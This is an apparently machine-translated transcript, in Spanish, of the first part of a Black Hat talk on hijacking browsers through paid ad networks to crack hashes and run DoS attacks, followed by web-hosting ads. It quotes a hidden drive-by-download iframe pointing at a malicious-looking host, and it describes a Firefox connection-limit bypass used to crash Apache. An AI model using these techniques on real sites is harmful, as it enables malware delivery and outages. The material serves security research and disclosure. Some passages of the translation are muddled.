SOMBRERO NEGRO Conferencia de Estados Unidos. Botnet de un millón de navegadores. Parte 1

Jeremy Grossman: Me alegra darles la bienvenida a todos y quiero decir que hemos estado preparando esta presentación durante los 6 meses completos, por lo que nos esforzamos por compartir nuestros logros lo antes posible. Quiero agradecer a todo el personal de Black Hat por la invitación, regresamos aquí cada año, nos encanta este evento. ¡Gracias por el sombrero negro! Intentaremos que la presentación de hoy sea divertida, pero primero queremos presentarnos.



Soy el fundador y gerente de desarrollo de nuevos productos para WhiteHat Security, ubicado en Santa Clara, California. Nuestra empresa tiene alrededor de 300 empleados.

Matt es el director gerente del centro de investigación de riesgos de seguridad. En la "cabeza blanca" estamos principalmente involucrados en entrar en sitios web, encontrar vulnerabilidades en ellos y hacerlo a gran escala. Pero todavía nos queda algo de tiempo para la investigación, por lo que hoy vamos a comenzar a hackear navegadores y usarlos para hackear sitios y mostrarle el ciclo completo de seguridad web. Primero hablé aquí en 2002. La mayoría de las veces investigo en el desarrollo y presentación de nuestros productos.

Matt Johansson: Tengo experiencia trabajando como probador de penetración (pentester), y comencé mi trabajo en la empresa pirateando sitios, porque antes de eso yo mismo dirigía el ejército de hackers. Hago una buena investigación y tomo mucho para poder contactarme.



Jeremy Grossman: Entonces, comencemos nuestra fiesta. No creo que haya al menos una persona que no haya accedido a Internet hoy. Tal vez ahora no esté conectado a Internet, pero cuando llegue a casa, todos los presentes aquí y todos sus conocidos interactuarán con él utilizando un navegador. Esto es solo parte de nuestra vida cotidiana, y le describiré lo que esto significa, pero Internet está diseñado principalmente para funcionar. No pirateamos Internet, tratamos de usarlo para nuestros propios fines.

Cuando visita una página web, no importa qué navegador use: Chrome, Firefox, Safari, IE u Opera, en cualquier caso, Internet funciona de tal manera que controla completamente su navegador mientras está en esta página o cuando busca el siguiente. página

El JavaScript o el flash en esta página pueden hacer que el navegador haga cualquier cosa, cualquier tipo de respuesta a las solicitudes en cualquier lugar de Internet o intranet. Esto incluye CSRF - solicitudes falsas de sitios cruzados, XSS - secuencias de comandos de sitios cruzados, clickjacking y muchos otros trucos que le permiten obtener control sobre el navegador.

Ahora trataremos de comprender mejor qué es la seguridad del navegador, pero la idea principal es tener una idea general del control del navegador sin utilizar exploits de día cero, contra los cuales no hay parches.

Matt Johanson: Si no sabes nada sobre XSS, puedes preguntarnos al respecto.

Jeremy Grossman: Ahora quiero hablar brevemente sobre los ataques del navegador que usan HTML o JavaScript malicioso:

  • Interrogatorio del navegador sondeo del navegador
  • solicitudes falsas entre sitios, detección de inicio de sesión, reconocimiento de inicio de sesión, desanonimización;
    Hackear la intranet
    Script automático de crossite
    malware tradicional que ingresa a la computadora del usuario al descargar utilizando el método Drive-by-Download;
    hash craqueo de fuerza bruta;
    Ataques DDoS a nivel de aplicación.




    En esta diapositiva, verá un ejemplo de Interrogatorio del navegador: es solo JavaScript que permanece en el navegador cuando va a otro sitio. Esta es una captura de pantalla de CNN. Cuando visita su sitio, la métrica está conectada a su navegador, que realiza una encuesta completa y recibe una gran cantidad de información sobre su visualización: qué navegador tiene, qué versión, qué complementos están conectados, qué sistema operativo tiene. Hacen esto porque quieren saber quién visitó su sitio. Hoy en día, esta es una tecnología muy común.

    A continuación, considere una tecnología más avanzada: la falsificación de JavaScript entre sitios. No requiere mucho esfuerzo, no necesita ejecutar un script malicioso, solo su navegador con JavaScript o HTML se utiliza para hackear cualquier otro sitio. CSRF usa su historial de búsqueda de Google y obliga a su navegador a cargar o descargar contenido ilegal, iniciar una transferencia bancaria, si inicia sesión en su cuenta personal en el sitio web del banco, lo obligará a enviar mensajes abusivos o votar por Ed Snowden como la Persona del Año.

    Matt Johanson: CSRF puede obligarlo a no solo descargar los éxitos de Justin Bieber, sino también a descargar pornografía infantil.

    Jeremy Grossman: entonces, la primera línea en la diapositiva obliga a su navegador a inyectar contenido malicioso en cualquier otro sitio, es decir, puede convertirlo en un hacker, el segundo lo obliga a descargar el torrent y lo convierte en un pirata que viola todos los tipos de licencias DMCA, el tercero lo envía al club de fans Justin Bieber, cuarto: vota en algún sitio.



    El siguiente es el reconocimiento del inicio de sesión de Detección de inicio de sesión: esto es cuando va al sitio que controlamos. Podemos descubrir que ha iniciado sesión en su cuenta en Google, Facebook, Twitter, Linkedin. Existen 6 tecnologías diferentes para extraer datos de autorización de su navegador. Estudiamos sus preferencias y llevamos a cabo un ataque dirigido a un usuario específico.



    Otro ataque es el clickjacking, le permite revelar sus datos tan pronto como haga clic en cualquier imagen o botón. Digamos que inició sesión en Twitter o Facebook y le gustó la imagen de un gato bailando. Hace clic en algo inofensivo, pero en realidad hace clic en uno de estos botones y revela sus datos. Solo un clic, y sabemos su nombre, ubicación, conocemos los datos que publicó en su perfil en Twitter o LinkedIn.



    Matt Johanson: Algunas compañías se dedican a ese seguimiento, ya que su nombre completo puede ser de gran valor para la publicidad dirigida de sus productos o servicios.

    Jeremy Grossman: Hasta ahora hemos repasado cosas conocidas, al menos conocidas por la audiencia de Black Hat. También es consciente de romper la intranet de la Intranet al inyectar JavaScript malicioso a través de HTTP en su enrutador DSL que proporciona conectividad de red.



    Esto se descubrió por primera vez en 2006 y hasta ahora esta vulnerabilidad no se ha solucionado. Además, tenemos el tipo de ataque "scripting automático entre sitios", cuando se usa iframe, se realiza una inyección de código XSS malicioso, que le permite robar sus cookies, contraseñas guardadas, etc. Esto se realiza principalmente a través del portal del proveedor de correo electrónico.



    Finalmente, puede descargar el malware tradicional utilizando el método Drive-by-Downloads inyectando la siguiente línea:

    <iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe> 

    Como resultado, su navegador se envía a sitios infectados para descargar contenido malicioso, que luego controla su computadora. Aquí, el objeto del ataque puede ser el navegador en sí o sus extensiones, principalmente estos ataques se utilizan para crear una red de botnets, y para evitar esta amenaza, necesita instalar parches a tiempo, y es mejor eliminar Java por completo. Brevemente, estos son los métodos de ataque en los que nos vamos a centrar en esta charla.

    Matt Johansson: Jeremy habló sobre cosas que ya se mencionaron en conferencias anteriores de BlackHat. Me gustaría hablar sobre otro estudio que se centró en la informática distribuida utilizando JavaScript para descifrar contraseñas. Esto es algo genial, porque simplemente puedes escribirlo y funciona muy, muy rápido. La investigación de Lavakumar Kuppan sugiere que con la métrica que inventó, en realidad puedes hackear o intentar descifrar cien mil hash MD5 por segundo usando JavaScript si puedes distribuir este JavaScript.

    La siguiente diapositiva muestra cómo funciona el sistema informático distribuido Ravan basado en JavaScript, que puede atacar hashes en varios navegadores mediante un ataque de fuerza bruta.

    Utiliza HTML5 para ejecutar JavaScript en el fondo de WebWorkers, incluidas muchas computadoras en las que un navegador está abierto en una única red de adivinación de contraseña. Encuentra la contraseña de usuario que coincide con un hash específico, ordenando de 60 a 70 mil contraseñas por segundo, se utilizan 12 WebWorkers para esto.



    Esto es algo muy rápido, luego nos centraremos en cómo se distribuye. Además de este problema, hemos estado investigando seriamente las aplicaciones que causan fallas en el servicio (DoS) durante varios meses. El navegador puede enviar una cantidad sorprendentemente grande de solicitudes GET a un sitio remoto utilizando COR de WebWorkers. Durante la investigación, se descubrió que se pueden enviar alrededor de 10,000 solicitudes por minuto desde un solo navegador. Al mismo tiempo, el navegador no mantiene abiertas muchas conexiones TCP, simplemente lanza muchas solicitudes HTTP. Puede usar un solo navegador y varios navegadores dirigidos a un sitio. Pero en cualquier momento puede aumentar la intensidad del ataque aumentando el número de conexiones.

    Jeremy Grossman: Hablaré sobre las limitaciones del navegador en las conexiones.



    Una herramienta llamada Browserscope muestra cuántas conexiones puede admitir un navegador en particular o una versión de navegador específica a la vez. Todos los navegadores admiten no más de 6 conexiones con un nombre de host, y el número máximo de conexiones, por ejemplo, en las versiones 8 y 9 de IE llega a 35. Cada navegador tiene un límite en el número de conexiones, no por seguridad, sino por estabilidad y rendimiento, porque usted va al sitio , envíe una solicitud y su navegador comenzará a descargar contenido.

    Verificamos estos indicadores y podemos decir que la mayoría de los navegadores realmente proporcionan trabajo con 6, con un máximo de 7 conexiones. La siguiente diapositiva muestra el funcionamiento de Browserscope, que prueba el rendimiento de varios navegadores, creando muchas conexiones simultáneas al servidor. En este caso, hubo seis conexiones estables para Firefox.

    Sin embargo, algunos navegadores le permiten eludir esta limitación, y en nuestras pruebas usamos Firefox para causar una falla en el servicio. La siguiente diapositiva muestra el script Apache Killer, que ayudó a evitar la restricción del navegador, crear una secuencia completa de solicitudes simultáneas al servidor y aumentar el número de conexiones abiertas simultáneamente de 6 a 300.



    Aquí se usó el protocolo HTTP, pero si usa FTP a través del puerto 80, el número de conexiones aumenta a 400, y esto realmente puede "matar" al servidor Apache.

    Matt Johanson: La diferencia importante aquí es que lo hicimos usando FTP, que no puede usar el protocolo HTTP. Por lo tanto, no pudimos verificar muchas posiciones desde la parte superior de la lista y no pudimos ejecutar muchas aplicaciones de CSR. Estas son solo conexiones que intentamos abrir al mismo tiempo, por lo que este no es un ataque DoS muy tradicional, cuando un atacante intenta lanzar tantos megabits o gigabits por segundo o por hora como sea posible, esta es solo la cantidad permitida de conexiones abiertas simultáneamente.

    Jeremy Grossman: ahora ejecutaré el servidor Apache en mi computadora portátil, esta es una versión simple "vainilla" de Apache 2.4.4, donde todas las configuraciones básicas están configuradas por defecto y no pueden tener ningún impacto significativo.



    Nos vamos a centrar en el primer ciclo, voy a instalar un montón de solicitudes de imágenes en el servidor aquí, verá cómo se envían las solicitudes y el servidor no responde durante 3 segundos, y luego las imágenes comienzan a cargarse en serie.

    Matt Johanson: Este es un aspecto del rendimiento del navegador, no un aspecto de seguridad. Es posible que podamos abusar de él en detrimento de la seguridad, lo verá en unos minutos. Pero el objetivo de esta acción es descargar todas estas imágenes a la vez.

    Jeremy Grossman: Olvidé mencionar el estado del servidor, en la pantalla inferior izquierda verá que el estado muestra 7 conexiones abiertas simultáneamente, una para la ventana del navegador y la otra 6 para 6 imágenes cargadas. Esto es muy importante, porque ahora estamos tratando de romper el borde superior de las conexiones en este navegador en particular. Ahora estableceré el valor de conexión en 0 para eliminar estas conexiones y mostraré una forma de evitar las restricciones en Firefox.

    Simplemente hacemos un bucle de hasta 100 conexiones usando FTP para el mismo nombre de host. Todos ellos no necesitan una URL, ya que es FTP, no envía HTTP. Mire en la esquina inferior izquierda: el estado del servidor ha cambiado, muestra 100 conexiones, 100 páginas para ver. Ahora pasemos a 400 conexiones.

    La página se actualiza cada segundo, y cuando el número de conexiones alcanza 270, el servidor sufre un "pánico" de que no tiene tiempo para atender más solicitudes. Todo lo que hacemos es cargar este código en una página web, y Apache está tratando de aumentar el número de conexiones abiertas simultáneas a 300. Y hacemos todo esto con un solo navegador.

    En la parte posterior del fondo, verá otro desplazamiento, tenemos otro sistema en Amazon, este es el sistema AWS. No quiero matarla con un ataque DoS en este momento, así que te ofrecí otra opción de demostración.
    Matt Johansson: Ahora sabemos lo que podemos hacer, al menos con Firefox. Este no es un ataque tradicional de denegación de servicio y la botnet no se usa aquí. Todavía tenemos algunas posibilidades más, pero en general, las ventajas de piratear con este método de ataque son las siguientes:

    • no se necesita malware, ni exploits ni ataques de día cero;
    • sin rastros, sin ansiedad, prohibición del almacenamiento en caché del navegador;
    • por defecto, cualquier navegador es vulnerable a este ataque;
    • muy fácil de implementar, usted mismo vio lo simple que se ve el código;
    • como decimos, funciona como debería funcionar. Internet está potencialmente diseñado para funcionar de esta manera, es decir, debe garantizar que se descarguen varias imágenes lo más rápido posible.

    Por lo tanto, no sé quién puede solucionar este problema. Centrémonos en el tema de difundir este método de ataque usando código JavaScript malicioso. No consideraremos las formas clásicas en que los spammers lo usan, como enviar correos electrónicos. Considere la distribución por un usuario regular, es decir, escalar desde el punto de vista de un usuario regular:

    • uso de sitios con tráfico significativo de su propiedad (blog, software, etc.);
    • Inyecciones de HTML en sitios populares, foros, etc.
    • el método "hombre en el medio" a través de un enrutador Wi-Fi;
    • "Envenenamiento" de los motores de búsqueda;
    • piratería de sitios por inyección masiva de gusanos SQL;
    • widgets de terceros (clima, contadores, rastreadores, etc.).

    Douglas Crockford dijo: "La forma más confiable y rentable de inyectar código malicioso es comprar anuncios". Por lo tanto, consideraremos cómo funcionan las redes publicitarias, porque hay muchas en Internet. La siguiente diapositiva muestra un peculiar ecosistema publicitario.



    Entonces, en la parte superior, verá que los anunciantes deben mostrarle algo, por ejemplo, un ramo de flores para una cita. Gastan dinero en él, pero necesitan sitios para llevar sus productos al consumidor final. Quieren tener en sus manos distribuidores masivos: editores de información como blogs, noticias, redes sociales, reseñas, sitios populares que son visitados por muchos usuarios. Existe un puente entre anunciantes y editores llamado Redes de publicidad. Gastan dinero en publicar su información en estas redes, pueden ser imágenes, pancartas emergentes, JavaScript, todo lo que quieras ver. Ustedes son las pequeñas figuras azules en la parte inferior de la diapositiva.

    Matt Johansson: Esta mañana fuimos al sitio web de TMZ y tomamos esta increíble captura de pantalla allí.



    Verá el bloque de anuncios en la parte superior de la página y en la parte inferior derecha.

    Jeremy Grossman: todos los bloques de anuncios que ve son códigos JavaScript ubicados directamente frente a los usuarios del sitio web de TMZ y que sirven para atraer su atención a fin de ganar algo de dinero. Hay decenas y cientos de tales redes publicitarias, pero tenga en cuenta que la imagen del logotipo de nuestra empresa en la esquina superior derecha de la diapositiva no es una red publicitaria. Algunas de estas redes usan JavaScript, otras no.

    Entonces, escribí a los propietarios de una red de publicidad una carta sobre lo que me gustaría colocar JavaScript publicitario de terceros en su sistema. Uno de los chicos me respondió muy rápido, literalmente en un par de minutos. Escribió que solo permiten que dicho código se publique de compañías grandes y conocidas como DoubleClick, en las que confían y que escanean todos los materiales en busca de posibles vulnerabilidades. Y si trabajo con servidores de anuncios de terceros tan grandes como DFA y similares, encontrarán la oportunidad de alojar mi JavaScript.



    Todas las redes publicitarias tradicionales se comportan de esta manera: les paga dinero, obtiene algunas métricas y colocan su anuncio. Hay otro tipo de red que hemos encontrado. Deliberadamente, no le damos sus nombres, porque no sabemos si estaremos en problemas debido a esto.



    Estos sistemas funcionan de esta manera: usted paga un poco de dinero por alguien que está sentado en su casa frente a la computadora por la noche para ver su página a través de su navegador durante un cierto período de tiempo. Resulta que usted compra el tiempo del navegador por un centavo; en este caso, se pueden comprar 10 mil minutos de visualización por alrededor de $ 10.5.

    Matt Johansson: Una circunstancia importante es que este método de vistas pagas se usa ampliamente para descifrar una contraseña. Debido a que un atacante necesita mucho tiempo para descifrar una contraseña o iniciar sesión utilizando el método de fuerza bruta, y estas redes publicitarias no garantizan que su navegador esté viendo anuncios, pero no detectará el código malicioso que se ejecutará tan pronto como el anuncio se cargue en la página. Paga por ello, pero si una persona se sienta allí durante un minuto, 10 minutos, 2 segundos, no hay garantía de que no pagará por el hecho de que puede ser utilizado para un ataque DoS.

    Jeremy Grossman: preste atención a la última línea: puede comprar un millón de minutos de visualización, esto es casi 2 años de tiempo de navegación, por alrededor de $ 650. ¡Entonces esta es una buena métrica!

    Ahora Internet funciona en publicidad y vale un centavo. Volvamos a la agenda y centrémonos en los dos últimos tipos de ataques: el craqueo de hash de fuerza bruta y los ataques DDoS a nivel de aplicación. Verá que el navegador puede escalarlos fácilmente a un millón, o simplemente pagar $ 650 y comenzar a hackear la contraseña por un tiempo equivalente a dos años. Le mostraremos un par de demostraciones, pero primero, hablemos de economía.

    Matt Johansson: Viste esta captura de pantalla de la compra de minutos, pero las redes publicitarias tienen su propio idioma, que no fue fácil de aprender para mí. Los anunciantes llaman a esto "impresiones", pero estamos hablando de servicios de publicidad pagados en páginas específicas. En los últimos meses, el precio se ha mantenido en alrededor de 50 centavos por cada 1,000 "impresiones", o por cada mil impresiones de anuncios. Hay etiquetas de precio de CPC y costo de mil CPM.



    Por lo tanto, cuando digo "impresión", debe imaginar el navegador como un bot, como si contratara a una persona para subir sus anuncios al navegador y obtener el control de este navegador en este momento. Entonces, lo llaman "impresión", y lo llamamos "bot".

    Jeremy Grossman: No hay obstáculos para evitar que los malos, los verdaderos malos que roban tarjetas de crédito, puedan usar estas tarjetas robadas para comprar minutos publicitarios o "impresiones".

    Matt Johanson: En la siguiente captura de pantalla, puede ver las estadísticas de la red publicitaria que utilizamos en nuestra investigación.



    Nos sentimos como si estuviéramos frente al tablero, haciendo clic en los botones y tratando de hacer que nuestros anuncios aparezcan en esta red. No mostramos ningún anuncio, solo dummies, y no ejecutamos nuestro código JavaScript. Simplemente nos probamos como anunciantes e intentamos permanecer lo más invisibles posible para el usuario y los propietarios de la red publicitaria, de modo que simplemente nos permitieran usar nuestros métodos pacíficos de piratas informáticos, al mando de nuestros propios servidores web. Durante los pocos meses de nuestra investigación, ni siquiera gastamos 10 dólares.

    Puede establecer límites diarios para todo tipo de artículos publicitarios, puede elegir palabras clave específicas en las que los usuarios deberían centrarse, elegir la ubicación geográfica de la audiencia, los sistemas operativos o los navegadores que mostrará su anuncio, y puede enfocar los anuncios en los dispositivos móviles o estacionarios de los usuarios.

    Simplemente elegí el mayor alcance posible de audiencia, y elegí la palabra "computadoras" como palabra clave. El primer día, compramos solo 15 clics, nos costó $ 4, como resultado recibimos u 8326 "impresiones". ¡Imagínese que con una inversión tan rentable, su código podría descargarse en 8326 navegadores durante un período de 24 horas!

    SOMBRERO NEGRO Conferencia de Estados Unidos. Botnet de un millón de navegadores. Parte 2


    Gracias por quedarte con nosotros. ¿Te gustan nuestros artículos? ¿Quieres ver más materiales interesantes? Apóyenos haciendo un pedido o recomendándolo a sus amigos, un descuento del 30% para los usuarios de Habr en un análogo único de servidores de nivel de entrada que inventamos para usted: toda la verdad sobre VPS (KVM) E5-2650 v4 (6 núcleos) 10GB DDR4 240GB SSD 1Gbps de $ 20 o cómo dividir el servidor? (las opciones están disponibles con RAID1 y RAID10, hasta 24 núcleos y hasta 40GB DDR4).

    VPS (KVM) E5-2650 v4 (6 núcleos) 10GB DDR4 240GB SSD 1Gbps hasta diciembre de forma gratuita al pagar por un período de seis meses, puede ordenar aquí .

    Dell R730xd 2 veces más barato? ¡Solo tenemos 2 x Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 TV desde $ 249 en los Países Bajos y los Estados Unidos! Lea sobre Cómo construir un edificio de infraestructura. clase utilizando servidores Dell R730xd E5-2650 v4 que cuestan 9,000 euros por un centavo?

Source: https://habr.com/ru/post/es426241/


All Articles